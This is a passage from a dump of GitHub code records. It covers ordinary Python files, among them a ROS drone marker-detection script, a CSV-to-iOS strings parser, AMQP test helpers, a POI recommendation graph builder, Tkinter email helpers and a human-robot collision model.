tag_annotated\n tag_annotated = data\n\ndef markerCallback(data):\n global marker_pose\n marker_pose = data\n\ndef odomCallback(data):\n global drone_pose\n drone_pose = data\n\ndef zoneCallback(data):\n global zone\n zone = data.data\n\ndef regenerate_callback(event):\n exploration_trajectory()\n\ndef reachPointCallback(event):\n global reached_last_point,drone_pose\n if drone_pose is not None:\n reached_last_point = reach_point(WAYPOINTS[len(WAYPOINTS)-1][0][0],WAYPOINTS[len(WAYPOINTS)-1][0][1])\n\ndef exploration_trajectory():\n traj = MultiDOFJointTrajectory()\n\n V = Twist(linear=Vector3( 0, 0, 0), angular=Vector3( 0, 0, 0))\n A = Twist(linear=Vector3( 0, 0, 0), angular=Vector3( 0, 0, 0))\n for i in range(len(WAYPOINTS)):\n Pi = Vector3(WAYPOINTS[i][0][0],WAYPOINTS[i][0][1],WAYPOINTS[i][0][2])\n Qi = Quaternion(WAYPOINTS[i][1][0],WAYPOINTS[i][1][1],WAYPOINTS[i][1][2],WAYPOINTS[i][1][3])\n Ti = Transform(translation = Pi, rotation = Qi)\n trajPi = MultiDOFJointTrajectoryPoint(transforms = [Ti], velocities = [V], accelerations = [A])\n traj.points.append(trajPi)\n pub2.publish(traj)\n print(\"WAY PUB\")\n\ndef detection():\n global marker_pose,drone_pose, count,detected,tag_annotated\n pubMsg1 = PoseStamped()\n pubMsg3 = Point()\n pubMsg4 = Image()\n traj = MultiDOFJointTrajectory()\n \n if marker_pose is not None:\n if len(marker_pose.markers):\n print(\"Detected\")\n detected = True\n try:\n a = marker_pose.markers[0].pose.pose.position.x\n b = marker_pose.markers[0].pose.pose.position.y\n c = marker_pose.markers[0].pose.pose.position.z\n except:\n return\n else:\n a = marker_pose.markers[0].pose.pose.position.x\n b = marker_pose.markers[0].pose.pose.position.y\n c = marker_pose.markers[0].pose.pose.position.z\n print(a,b,c)\n lx,ly,lz = drone_pose.pose.pose.position.x,drone_pose.pose.pose.position.y,drone_pose.pose.pose.position.z\n qx,qy,qz,qw = drone_pose.pose.pose.orientation.x,drone_pose.pose.pose.orientation.y,drone_pose.pose.pose.orientation.z,drone_pose.pose.pose.orientation.w\n pubMsg1.pose.position.x = lx\n pubMsg1.pose.position.y = ly\n pubMsg1.pose.position.z = lz\n pubMsg1.pose.orientation.x = qx\n pubMsg1.pose.orientation.y = qy\n pubMsg1.pose.orientation.z = qz\n pubMsg1.pose.orientation.w = qw\n P0 = Vector3(drone_pose.pose.pose.position.x,drone_pose.pose.pose.position.y,drone_pose.pose.pose.position.z)\n # print(P0)\n Q0 = Quaternion(drone_pose.pose.pose.orientation.x,drone_pose.pose.pose.orientation.y,drone_pose.pose.pose.orientation.z,drone_pose.pose.pose.orientation.w)\n\n V = Twist(linear=Vector3( 0, 0, 0), angular=Vector3( 0, 0, 0))\n A = Twist(linear=Vector3( 0, 0, 0), angular=Vector3( 0, 0, 0))\n T0 = Transform(translation=P0, rotation=Q0)\n trajP0 = MultiDOFJointTrajectoryPoint(transforms=[T0], velocities=[V], accelerations=[A])\n traj.points.append(trajP0)\n if count == 0 :\n print(\"Pubslished new\")\n # pub2.publish(traj)\n # pub1.publish(pubMsg1)\n pub2.publish(traj)\n count = count+1\n if count>32:\n pubMsg4 = tag_annotated\n pub4.publish(pubMsg4)\n pubMsg3.x = marker_pose.markers[0].pose.pose.position.x\n pubMsg3.y = marker_pose.markers[0].pose.pose.position.y\n pubMsg3.z = marker_pose.markers[0].pose.pose.position.z\n pub3.publish(pubMsg3)\n print(\"Final Position\")\n print(pubMsg3.x,pubMsg3.y,pubMsg3.z)\n os.system(\"rosnode kill /zone3exp\")\n rospy.sleep(5)\n \n \ndef zone3exp():\n rospy.init_node('zone3exp')\n global drone_pose,marker_pose, zone, tag_detected, count, detected, reached_last_point\n reached_last_point = False\n count = 0\n # TODO: change zone to -1\n zone = -1\n tag_detected = False\n drone_pose = None\n marker_pose= None\n waypoints_generation()\n rospy.Subscriber('/red/odometry',Odometry,odomCallback)\n rospy.Subscriber('/zone',Int32,zoneCallback)\n rospy.Subscriber('/ar_pose_marker',AlvarMarkers,markerCallback)\n rospy.Subscriber('/remap_tag_image_annotated',Image,annotatedCallback)\n flag = False\n # rate =rospy.Rate(10)\n while not rospy.is_shutdown():\n if drone_pose is not None and zone == 3:\n rospy.Timer(rospy.Duration(0.1),reachPointCallback,oneshot=True)\n if flag == False and zone == 3:\n exploration_trajectory()\n flag = True\n if reached_last_point == True and detected == False and zone == 3:\n rospy.Timer(rospy.Duration(3),regenerate_callback,oneshot = True)\n print(\"DIDNT DETECT HERE WE GO AGAIN\")\n exploration_trajectory()\n reached_last_point = False\n if drone_pose is not None and zone == 3:\n detection()\n drone_pose = None\n # rate.sleep()\n\n\nif __name__ == '__main__':\n try:\n zone3exp()\n except rospy.ROSInterruptException:\n pass","repo_name":"Cypre55/icuas22_competition","sub_path":"scripts/zone3exp3.py","file_name":"zone3exp3.py","file_ext":"py","file_size_in_byte":7539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"20806983666","text":"__author__ = 'darrenburton'\n\nfrom base_parser import BaseParser\nimport os\nimport csv\n\nclass AppleParser(BaseParser):\n\n def _go_csv(self):\n pass\n\n def _go_parse(self):\n\n #Ok first lets get all the files that currently exist within the input folder\n for root, dirs, files in os.walk(self._input_folder):\n for file in files:\n if file.endswith(\".csv\"):\n self.parse_as_strings(input_file=os.path.join(root, file),\n output_file=os.path.join(self._output_folder, os.path.splitext(file)[0])+'.strings')\n\n\n def parse_as_strings(self, input_file=None, output_file=None):\n\n if self.verbose: print(\" Generating iOS SDK .strings File :\" + output_file + \" from file : \" + input_file)\n\n csvData = csv.reader(open(input_file))\n csvData.next()\n csvData.next()\n\n header = csvData.next()\n\n for index in range(2, len(header)):\n stringsFile = open(output_file[0:-8] + '_' + header[index] + '.strings', 'w')\n\n inner_csvData = csv.reader(open(input_file))\n inner_csvData.next()\n inner_csvData.next()\n inner_csvData.next()\n\n fileString = \"\"\n\n for row in inner_csvData:\n if row[0]:\n fileString += \"/* No comment provided by engineer. */ \\n\"\n fileString += row[0] + \"\\\"\" + row[index] + '\\\"; \\n\\n\\n'\n\n stringsFile.write(fileString)\n\n\n","repo_name":"DLBurton/TranslationFiles","sub_path":"parsers/ios.py","file_name":"ios.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"10178126385","text":"parts = [] \nwith open(\"input24.txt\") as f:\n for line in f:\n x, y = line.split(\"/\")\n parts.append((int(x), int(y)))\n\n \n\ndef max_bridge(parts, start=0):\n max = 0\n for x in parts:\n if x[0] == start:\n left = parts.copy()\n left.remove(x)\n w = x[0] + x[1] + max_bridge(left, x[1]) \n if w > max:\n max = w\n if x[1] == start:\n left = parts.copy()\n left.remove(x)\n w = x[0] + x[1] + max_bridge(left, x[0])\n if w > max:\n max = w\n return max\n\n\nprint(max_bridge(parts))\n","repo_name":"PetraVidnerova/AdventOfCode2017","sub_path":"day24.py","file_name":"day24.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"16937910936","text":"import functools\nimport os\nimport random\nimport unittest_backport as unittest\n\nfrom nucleon.amqp import Connection\n\nAMQP_URL = os.getenv('AMQP_URL', 'amqp://guest:guest@blip.vm/')\n\n\nclass TestCase(unittest.TestCase):\n def setUp(self):\n self.name = 'test%s' % (random.random(),)\n self.name1 = 'test%s' % (random.random(),)\n self.name2 = 'test%s' % (random.random(),)\n self.msg = '%s' % (random.random(),)\n self.declared_queues = []\n self.declared_exchanges = []\n self.amqp_url = AMQP_URL\n\n def tearDown(self):\n conn = Connection(self.amqp_url)\n conn.connect()\n channel = conn.allocate_channel()\n for queue in self.declared_queues:\n try:\n channel.queue_delete(queue=queue)\n except Exception:\n channel = conn.allocate_channel()\n\n for exchange in self.declared_exchanges:\n try:\n channel.exchange_delete(exchange=exchange)\n except Exception:\n channel = conn.allocate_channel()\n conn.close()\n\n\ndef connect(method):\n @functools.wraps(method)\n def wrapper(self, *args, **kwargs):\n client = Connection(self.amqp_url)\n client.connect()\n with client.channel() as channel:\n r = method(self, channel, *args, **kwargs)\n client.close()\n return r\n return wrapper\n\n\ndef declares_queues(*names):\n def decorator(func):\n @functools.wraps(func)\n def wrapper(self, *args, **kwargs):\n self.declared_queues.extend(names)\n return func(self, *args, **kwargs)\n return wrapper\n return decorator\n\n\ndef declares_exchanges(*names):\n def decorator(func):\n @functools.wraps(func)\n def wrapper(self, *args, **kwargs):\n self.declared_exchanges.extend(names)\n return func(self, *args, **kwargs)\n return wrapper\n return decorator\n","repo_name":"smetj/nucleon-amqp","sub_path":"tests/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"1429385582","text":"import numpy as np\nimport pandas as pd\nimport os\nfrom data_loader import load_data\nimport json\nimport dgl\nimport torch\nimport math\nfrom collections import defaultdict\n\nclass Graph(object):\n def __init__(self, dataset):\n super(Graph, self).__init__()\n self.dataset = dataset\n self.pid2pid, self.rid2rid, self.pid2rid = self.load_datas()\n self.user2id, self.poi2id, self.region2id = self.load_id_map()\n self.users = set(self.user2id.keys())\n self.pois = set(self.poi2id.keys())\n self.regions = set(self.region2id.keys())\n self.num_users, self.num_pois, self.num_regions = map(len, [self.users, self.pois, self.regions])\n print(self.num_users, self.num_pois)\n self.train, self.test = self.load_train_test()\n self.time_train, self.time_test = self.time_convert()\n self.pid_pid_norm, self.user_pid_norm, self.region_region_norm = self.norm()\n self.g = self.build_graph()\n self.neighbors = self.get_neighbors()\n print('build graph done')\n self.embeddings = self.get_init_embeddings()\n print('load embeddings done')\n # self.time_user_records = self.build_records()\n\n def load_datas(self):\n poi2poi_file = os.path.join('./dataset/', self.dataset, 'poi2poi_train.txt')\n region_file = os.path.join('./dataset/', self.dataset, 'region2region.txt')\n poi2poi = pd.read_csv(poi2poi_file, sep='\\t', header=None, names=['p1', 'p2', 'w'])\n # poi2poi = poi2poi[poi2poi['w'] > 1].reset_index()\n region2region = pd.read_csv(region_file, sep='\\t', header=None, names=['r1', 'r2', 'w'])\n poi2region_file = os.path.join('./dataset/', self.dataset, 'poi_region.txt')\n poi2region = pd.read_csv(poi2region_file, sep='\\t', header=None, names=['p', 'r', 'w'])\n return poi2poi, region2region, poi2region\n\n def load_id_map(self):\n user2id_file = os.path.join('./dataset', self.dataset, 'user2id.json')\n poi2id_file = os.path.join('./dataset', self.dataset, 'poi2id.json')\n region2id_file = os.path.join('./dataset', self.dataset, 'region2id.json')\n user2id = json.load(open(user2id_file))\n poi2id = json.load(open(poi2id_file))\n region2id = json.load(open(region2id_file))\n return user2id, poi2id, region2id\n\n def load_train_test(self):\n train_file = os.path.join('./dataset', self.dataset, 'train.csv')\n test_file = os.path.join('./dataset', self.dataset, 'test_new.csv')\n train = pd.read_csv(train_file)\n test = pd.read_csv(test_file)\n train['time'] = train['interval'].apply(lambda x: int(x.split(',')[0][1:]))\n test['time'] = test['interval'].apply(lambda x: int(x.split(',')[0][1:]))\n return train, test\n\n def time_convert(self):\n time_train = {}\n time_test = {}\n train_grouped = self.train.groupby(['time'])\n test_grouped = self.test.groupby(['time'])\n if self.dataset == 'meituan':\n for time, group in train_grouped:\n time_train[time] = group[['uid', 'pid', 'user_region', 'region']].to_numpy(copy=True)\n for time, group in test_grouped:\n time_test[time] = group[['uid', 'pid', 'user_region', 'region']].to_numpy(copy=True)\n else:\n for time, group in train_grouped:\n time_train[time] = group[['uid', 'pid', 'region']].to_numpy(copy=True)\n for time, group in test_grouped:\n time_test[time] = group[['uid', 'pid', 'region']].to_numpy(copy=True)\n return time_train, time_test\n\n def norm(self):\n '''calculate the norm of every type of edges'''\n pid_pid_norm = defaultdict(int)\n for index, row in self.pid2pid.iterrows():\n p1 = row['p1']\n p2 = row['p2']\n w = row['w']\n # pid_pid_norm[p1] += w\n # pid_pid_norm[p2] += w\n pid_pid_norm[p1] += 1\n pid_pid_norm[p2] += 1\n user_pid_norm = defaultdict(int)\n for index, row in self.train.iterrows():\n user = row['uid']\n poi = row['pid']\n user_pid_norm[user] += 1\n user_pid_norm[poi] += 1\n region_region_norm = defaultdict(int)\n for index, row in self.rid2rid.iterrows():\n r1 = row['r1']\n r2 = row['r2']\n region_region_norm[r1] += 1\n region_region_norm[r2] += 1\n return pid_pid_norm, user_pid_norm, region_region_norm\n\n def read_vector(self, file):\n vec_dict = {}\n with open(file) as f:\n info = f.readline()\n count, dim = info.strip().split()\n # assert count == self.num_users + self.num_pois + self.num_regions\n print('vec', count)\n print('total', self.num_users + self.num_pois + self.num_regions)\n for line in f:\n info = line.strip().split()\n key = info[0]\n value = torch.tensor([float(i) for i in info[1:]])\n vec_dict[key] = value\n return vec_dict\n\n def get_init_embeddings(self):\n vec_dict = self.read_vector('./dataset/' + self.dataset + '/line_embedding.txt')\n embeddings = torch.zeros((self.num_users+self.num_pois+self.num_regions, 64))\n torch.nn.init.xavier_uniform_(embeddings)\n for k, v in vec_dict.items():\n k = int(k)\n embeddings[k] = v\n return embeddings\n\n def get_neighbors(self):\n pid2pid = self.pid2pid[['p1', 'p2']].values\n rid2rid = self.rid2rid[['r1', 'r2']].values\n pid2rid = self.pid2rid[['p', 'r']].values\n uid2pid = self.train[['uid', 'pid']].values\n neighbors = np.concatenate((pid2pid, rid2rid, pid2rid, uid2pid), axis=0)\n return neighbors\n\n def build_graph(self):\n g = dgl.DGLGraph(multigraph=True)\n g.add_nodes(self.num_users + self.num_pois + self.num_regions)\n # add poi to poi edges\n g.add_edges(\n self.pid2pid['p1'],\n self.pid2pid['p2'],\n data={'weight': torch.FloatTensor(self.pid2pid['w']),\n 'type': torch.LongTensor([0]*len(self.pid2pid)),\n 'time': torch.IntTensor([-1]*len(self.pid2pid)),\n 'norm': torch.FloatTensor([self.pid_pid_norm[i] for i in self.pid2pid['p2']])\n }\n )\n g.add_edges(\n self.pid2pid['p2'],\n self.pid2pid['p1'],\n data={'weight': torch.FloatTensor(self.pid2pid['w']),\n 'type': torch.LongTensor([0]*len(self.pid2pid)),\n 'time': torch.IntTensor([-1]*len(self.pid2pid)),\n 'norm': torch.FloatTensor([self.pid_pid_norm[i] for i in self.pid2pid['p1']])\n }\n )\n # add region to region edges\n g.add_edges(\n self.rid2rid['r1'],\n self.rid2rid['r2'],\n data={'weight': torch.FloatTensor([1] * len(self.rid2rid)),\n 'type': torch.LongTensor([1]*len(self.rid2rid)),\n 'time': torch.IntTensor([-1]*len(self.rid2rid)),\n 'norm': torch.FloatTensor([self.region_region_norm[i] for i in self.rid2rid['r2']])\n }\n )\n g.add_edges(\n self.rid2rid['r2'],\n self.rid2rid['r1'],\n data={'weight': torch.FloatTensor([1] * len(self.rid2rid)),\n 'type': torch.LongTensor([1]*len(self.rid2rid)),\n 'time': torch.IntTensor([-1]*len(self.rid2rid)),\n 'norm': torch.FloatTensor([self.region_region_norm[i] for i in self.rid2rid['r1']])\n }\n )\n # add region to poi edges\n g.add_edges(\n self.pid2rid['r'],\n self.pid2rid['p'],\n data={'weight': torch.FloatTensor([1] * len(self.pid2rid)),\n 'type': torch.LongTensor([2] * len(self.pid2rid)),\n 'time': torch.IntTensor([-1]*len(self.pid2rid)),\n 'norm': torch.FloatTensor([1] * len(self.pid2rid))\n }\n )\n # add region to user edges\n # data1 = self.train[['uid', 'region', 'time']]\n # data1 = data1.groupby(data1.columns.tolist()).size().reset_index().rename(columns={0: 'weight'})\n # data1['type'] = data1['time'].apply(lambda x: 27 + x // 2)\n # g.add_edges(\n # data1['region'],\n # data1['uid'],\n # data={'weight': torch.FloatTensor(data1['weight']),\n # 'type': torch.LongTensor(data1['type']),\n # 'time': torch.IntTensor(data1['time']),\n # 'norm': torch.FloatTensor([self.user_pid_norm[i] for i in data1['uid']])\n # }\n # )\n\n # add user to poi edges\n data = self.train[['uid', 'pid', 'time']]\n data = data.groupby(data.columns.tolist()).size().reset_index().rename(columns={0: 'weight'})\n data['type'] = data['time'].apply(lambda x: 3 + x // 2)\n data['type1'] = data['time'].apply(lambda x: 15 + x // 2)\n g.add_edges(\n data['uid'],\n data['pid'],\n data={'weight': torch.FloatTensor(data['weight']),\n 'type': torch.LongTensor(data['type']),\n 'time': torch.IntTensor(data['time']),\n 'norm': torch.FloatTensor([self.user_pid_norm[i] for i in data['pid']])\n }\n )\n # add poi to user edges\n g.add_edges(\n data['pid'],\n data['uid'],\n data={'weight': torch.FloatTensor(data['weight']),\n 'type': torch.LongTensor(data['type1']),\n 'time': torch.IntTensor(data['time']),\n 'norm': torch.FloatTensor([self.user_pid_norm[i] for i in data['uid']])\n }\n )\n return g\n\n\nif __name__ == '__main__':\n graph = Graph(dataset='meituan')\n # print(graph.region_region_norm)\n print(graph.num_users, graph.num_pois, graph.num_regions)\n print(len(graph.train), len(graph.test))\n # rid2rid = graph.rid2rid.values\n # print(graph.region2id.values())\n # neg_rid = np.random.choice(list(graph.region2id.values()), rid2rid.shape[0], replace=True).reshape(-1, 1)\n # rid2rid = np.concatenate((rid2rid, neg_rid), axis=1)\n # print(rid2rid)\n # g = graph.g\n # print(g)\n","repo_name":"hanhaoy1/stgcn","sub_path":"load_graph.py","file_name":"load_graph.py","file_ext":"py","file_size_in_byte":10384,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"19"} +{"seq_id":"24257500468","text":"import os\n\n\ndef check_dir(file_path):\n if \".\" not in file_path:\n # print(\"True\")\n return True\n\n\ndef check_all(dir_path):\n for file in os.listdir(dir_path):\n # print(file)\n if check_dir(file):\n n_path = os.path.join(dir_path, file)\n # print(file)\n check_all(n_path)\n elif file.endswith(\".pdf\") or file.endswith(\".jpg\"):\n file_paths.append(file)\n\n\nfile_paths = []\npath = input(\"enter path : \")\ncheck_all(path)\n# print(\"OK\")\nfor p in file_paths:\n print(p)\n","repo_name":"MrXisOnline/Python-Projects","sub_path":"oneTimeProjects/advance/selcopy.py","file_name":"selcopy.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"23632403553","text":"from signal import CTRL_C_EVENT\r\nfrom tkinter import END, Button, Entry, Event, IntVar, Radiobutton, Tk\r\nfrom tkinter.filedialog import askdirectory, askopenfilename\r\nfrom tkinter.messagebox import showerror, showinfo, showwarning\r\nfrom pandas import ExcelFile\r\nfrom openpyxl import load_workbook\r\nfrom re import split\r\nfrom os import getpid, kill, listdir # operating system === windows = linux\r\nfrom string import Template\r\n\r\ndef getInfoStudents(path: str):\r\n names , emails , percentages , grades = [] , [] , [] , []\r\n excelFile = ExcelFile(path)\r\n file = load_workbook(path)\r\n sheetName = excelFile.parse(file.sheetnames[0])\r\n number_rows = sheetName.shape[0]\r\n \r\n for i in range(0 , number_rows - 1):\r\n names.append(sheetName[\"Name\"][i])\r\n emails.append(sheetName[\"Email\"][i])\r\n percentages.append(sheetName[\"Percentage\"][i])\r\n grades.append(sheetName[\"Grade\"][i])\r\n \r\n return names , emails , percentages , grades\r\n\r\ndef get_attachments(path: str):\r\n def digit(text: str):\r\n return int(text) if text.isdigit() else text\r\n \r\n def keys(text: str):\r\n return [digit(i) for i in split(r\"(\\d+)\" , text)] # d: integer \r\n \r\n pdf_list = []\r\n for pdf in listdir(path):\r\n pdf_list.append(path + \"/\" + pdf)\r\n \r\n pdf_list.sort(key= keys)\r\n return pdf_list\r\n\r\ndef read_message(message_filepath):\r\n try: \r\n with open(message_filepath , \"r\" , encoding= \"UTF-8\") as messagefile:\r\n msg = messagefile.read()\r\n return Template(msg)\r\n \r\n except:\r\n print(\"Error No such File or directory\")\r\n\r\ndef display_connection_problems():\r\n showwarning(title = \"Potential Connection Problems!\",\r\n message = \"Kindly Check your Internet Connection...\")\r\n\r\ndef display_wrong_credentials():\r\n showinfo(title = \"Invalid Credentials!\" , message = \"wrong username or password\")\r\n\r\ndef display_successful_send():\r\n showinfo(title = \"Congrats\" , message = \"All Emails ha been sent successfully\")\r\n\r\ndef display_unexpected_error():\r\n showerror(title = \"Unexpected Error!!\" , message = \"Something Went Wrong\")\r\n\r\ndef display_path_check():\r\n showerror(title=\"Invalid Path!\", message=\"Kindly Check your Choice and the Provided Path...\")\r\n \r\ndef display_empty_fields():\r\n showerror(title=\"Required Field!\", message=\"Mandatory Data is Missing...\")\r\n\r\ndef browse_excel_file(excel: Entry):\r\n filename = askopenfilename(initialdir=\"C:\" , title = \"Please select the excel file\")\r\n excel.config(bg = \"white\")\r\n excel.delete(0 , END)\r\n excel.insert(0 , filename)\r\n \r\ndef browse_template_file(msg: Entry):\r\n filename = askopenfilename(initialdir=\"C:\" , title = \"Please select the message template file\")\r\n msg.config(bg = \"white\")\r\n msg.delete(0 , END)\r\n msg.insert(0 , filename)\r\n\r\ndef yesButton(ent1 : Entry , ent2: Entry , radio1: Radiobutton , radio2: Radiobutton ,\r\n yes: Button , no: Button , browse:Button , send: Button , entries : list[Entry]):\r\n \r\n for entry in entries:\r\n entry.delete(0 , END)\r\n \r\n yes.config(bg = \"green\")\r\n no.config(bg = \"black\")\r\n radio1.config(state= \"normal\")\r\n radio2.config(state= \"normal\")\r\n ent1.config(state = \"normal\")\r\n ent2.config(state = \"normal\")\r\n browse.config(state = \"disable\")\r\n send.config(state= \"normal\")\r\n \r\ndef noButton(ent1 : Entry , ent2: Entry , radio1: Radiobutton , radio2: Radiobutton ,\r\n yes: Button , no: Button , browse:Button , send: Button , entries : list[Entry]):\r\n \r\n for entry in entries:\r\n entry.delete(0 , END)\r\n \r\n yes.config(bg = \"black\")\r\n no.config(bg = \"red\")\r\n radio1.config(state= \"disable\")\r\n radio2.config(state= \"disable\")\r\n ent1.config(state = \"disable\")\r\n ent2.config(state = \"disable\")\r\n browse.config(state = \"disable\")\r\n send.config(state= \"normal\")\r\n \r\ndef toggleRadioButton(choice : IntVar , radio1: Radiobutton , radio2 : Radiobutton , btn:Button):\r\n if choice.get() == 1:\r\n radio1.config(selectcolor= \"green\")\r\n radio2.config(selectcolor= \"red\")\r\n \r\n elif choice.get() == 2:\r\n radio1.config(selectcolor= \"red\")\r\n radio2.config(selectcolor= \"green\")\r\n \r\n btn.config(state = \"normal\")\r\n \r\ndef browse_path_files(choice: IntVar ,browse : Button , path:Entry):\r\n if choice.get() == 1 or choice.get() == 2:\r\n global f\r\n if choice.get() == 1:\r\n filename = askopenfilename(initialdir= \"C:\", \r\n title = \"Please Select the Attachment file\")\r\n \r\n elif choice.get() == 2:\r\n filename = askdirectory(initialdir= \"C:\", \r\n title = \"Please Select the Attachment file directory\")\r\n \r\n path.config(bg= \"white\")\r\n path.delete(0 , END)\r\n path.insert(0 , filename)\r\n else:\r\n browse.config(state = \"disable\")\r\n \r\ndef printout(name):\r\n print(f\"Email sent to: {name}\")\r\n print(\"Emails Sent !\")\r\n print(\"*\" * 30)\r\n\r\ndef interrupt_app():\r\n kill(getpid(), CTRL_C_EVENT) # send CTRL + C to app (only in windows)\r\n\r\ndef handle_entry_focus_red(event: Event):\r\n if event.widget[\"bg\"] == \"red\":\r\n event.widget[\"bg\"] = \"white\"\r\n \r\ndef handle_button_focus_red(event : Event):\r\n if event.widget[\"textvariable\"] == \"\":\r\n event.widget[\"bg\"] = \"white\"\r\n \r\ndef check_entries(root: Tk , entries_list: list[Entry]):\r\n boolean = True\r\n for entry in entries_list:\r\n if entry[\"state\"] == \"normal\" and not entry.get():\r\n root.focus()\r\n entry.config(bg = \"red\")\r\n entry.bind()\r\n boolean = False\r\n if boolean == False:\r\n display_empty_fields()\r\n \r\ndef get_widget_config(widget_list : list):\r\n widgets_config_keys = []\r\n widgets_config_items = []\r\n \r\n for widget in widget_list:\r\n single_widget_config_keys = []\r\n single_widget_config_items = []\r\n \r\n for key in widget.keys():\r\n single_widget_config_keys.append(key)\r\n single_widget_config_items.append(widget[key])\r\n \r\n widgets_config_keys.append(single_widget_config_keys)\r\n widgets_config_items.append(single_widget_config_items)\r\n \r\n return widgets_config_keys , widgets_config_items\r\n\r\ndef reset_widgets_config(widgets_list , widgets_config_keys , widgets_config_items):\r\n i = 0 \r\n for widget in widgets_list:\r\n if type(widget) == type(Entry):\r\n widget.delete(0 , END)\r\n j = 0\r\n for key in widgets_config_keys[i]:\r\n widget[key] = widgets_config_items[j][i]\r\n j += 1\r\n i += 1\r\n \r\ndef reset_all(root: Tk ,choice : IntVar , btn : Button , entries_list, entries_config_keys,\r\n entries_config_items, buttons_list, buttons_config_keys, buttons_config_items):\r\n root.focus()\r\n choice.set(0)\r\n btn.invoke()\r\n reset_widgets_config(entries_list, entries_config_keys, entries_config_items)\r\n reset_widgets_config(buttons_list, buttons_config_keys, buttons_config_items)\r\n root.update_idletasks()","repo_name":"IssaKassas/EmailProject","sub_path":"methods.py","file_name":"methods.py","file_ext":"py","file_size_in_byte":7244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"71303007725","text":"\"\"\"Collision Module.\n\nThis module implements collisions\n\"\"\"\n\n__all__ = ['Collision']\n__version__ = '0.1'\n__author__ = 'Vaibhav Gupta'\n\nimport numpy as np\nimport pybullet as p\n\n# Based on ISO/TS 15066 for 75 kg\neff_mass_human = np.array([\n 40, \t # chest\n 40, \t # belly\n 40, \t # pelvis\n 75, 75, # upper legs <-- Previous implementation was different\n 75, 75, # shins <-- Previous implementation was different\n 75, 75, # ankles/feet (Same as shin) <-- Previous implementation was different\n 3, 3, # upper arms\n 2, 2, # forearms\n 0.6, 0.6, # hands\n 1.2, \t # neck\n 8.8, \t # head + face (?)\n 75, 75, # soles (Same as shin) <-- Previous implementation was different\n 75, 75, # toes (Same as shin) <-- Previous implementation was different\n 40, \t # chest (back)\n 40, \t # belly (back)\n 40, \t # pelvis (back)\n 1.2, \t # neck (back)\n 4.4, \t # head (back)\n]) / 75\n\n\neff_spring_const_human = np.array([\n 25, \t # chest\n 10, \t # belly\n 25, \t # pelvis\n 50, 50, # upper legs\n 60, 60, # shins\n 75, 75, # ankles/feet (Same as shin) <-- From Previous implementation\n 30, 30, # upper arms <-- Previous implementation was different\n 40, 40, # forearms <-- Previous implementation was different\n 75, 75, # hands\n 50, \t # neck\n 150, \t # head (face ?)\n 75, 75, # soles (Same as shin) <-- From Previous implementation\n 75, 75, # toes (Same as shin) <-- From Previous implementation\n 35, \t # chest (back)\n 35, \t # belly (back)\n 35, \t # pelvis (back)\n 50, \t # neck (back)\n 150, \t # head (back)\n]) * 1e3\n\n\neff_mass_robot = np.array([\n 50, # Main Body\n 1.5, # Left Wheel\n 1.5, # Right Wheel\n 1.5, # Bumper\n]) / 54.5\n\n\neff_spring_const_robot = np.array([\n 10, # Main Body\n 1, # Left Wheel\n 1, # Right Wheel\n 10, # Bumper\n]) * 1e3\n\n\nclass Collision:\n \"\"\"[summary]\n\n Parameters\n ----------\n pybtPhysicsClient : int\n Handle for PyBullet's client\n robot : Robot\n Robot object\n human : Human\n Human object\n human_mass : float, optional\n Weight of human being, by default 75.0\n robot_mass : float, optional\n Weight of the robot, by default 54.5\n bumper_height : float, optional\n Height of the top of the bumper, by default 0.215\n ftsensor_loc : [float, float], optional\n Location of FT sensor from COM, by default [0.035, 0.0]\n\n Attributes\n ----------\n pybtPhysicsClient : int\n Handle for PyBullet's client\n robot : Robot\n Robot object\n human : Human\n Human object\n human_mass : float\n Weight of human being\n robot_mass : float\n Weight of the robot\n bumper_height : float\n Height of the top of the bumper\n ftsensor_loc : [float, float]\n Location of FT sensor from COM\n eff_mass_robot : float\n Effective mass of the robot for the collision\n eff_mass_human : float\n Effective mass of the human being for the collision\n eff_spring_const : float\n Effective spring constant for the collision\n \"\"\"\n\n def __init__(\n self,\n pybtPhysicsClient,\n robot,\n human,\n human_mass=75.0,\n robot_mass=54.5,\n bumper_height=0.215,\n ftsensor_loc=[0.035, 0.0],\n timestep=0.01,\n ):\n self.pybtPhysicsClient = pybtPhysicsClient\n self.robot = robot\n self.human = human\n self.human_mass = human_mass\n self.robot_mass = robot_mass\n self.bumper_height = bumper_height\n self.ftsensor_loc = ftsensor_loc\n self.timestep = timestep\n\n def get_collision_force(self):\n \"\"\"Get collision force in case of collision\n\n Returns\n -------\n None or ndarray\n In case of no collision, returns `None` otherwise returns an array containing contact forces and moments.\n Order of force and moments is [Fx, Fy, Fz, Mx, My, Mz]\n \"\"\"\n contact_points = p.getContactPoints(\n self.human.body_id,\n self.robot.body_id,\n )\n\n for contact_point in contact_points:\n if contact_point[8] <= 0:\n # Penetration or Contact\n human_part_id = contact_point[3]\n robot_part_id = contact_point[4]\n pos_on_robot = contact_point[6]\n\n self.__collide(robot_part_id, human_part_id)\n Fmag = self.__get_contact_force(contact_point[8])\n (h, theta) = self.__get_loc_on_bumper(pos_on_robot)\n\n self.delta_v, self.delta_omega = self.collision_dynamics(\n pos_on_robot, Fmag, theta\n )\n\n return (\n Fmag * np.sin(theta),\n Fmag * np.cos(theta),\n 0,\n -Fmag * np.cos(theta) * h,\n Fmag * np.sin(theta) * h,\n 0,\n )\n\n return None\n\n def collision_dynamics(self, pos, Fmag, theta):\n Vx = Fmag * np.sin(theta) * self.timestep / self.robot_mass\n Vy = Fmag * np.cos(theta) * self.timestep / self.robot_mass\n return self.__cartesian_to_differential(pos, Vx, Vy)\n\n def __collide(self, robot_part_id, human_part_id):\n \"\"\"Store parameters based on the colliding parts of the robot and the human\n\n Parameters\n ----------\n robot_part_id : int\n Part ID of colliding part of robot\n human_part_id : int\n Part ID of colliding part of 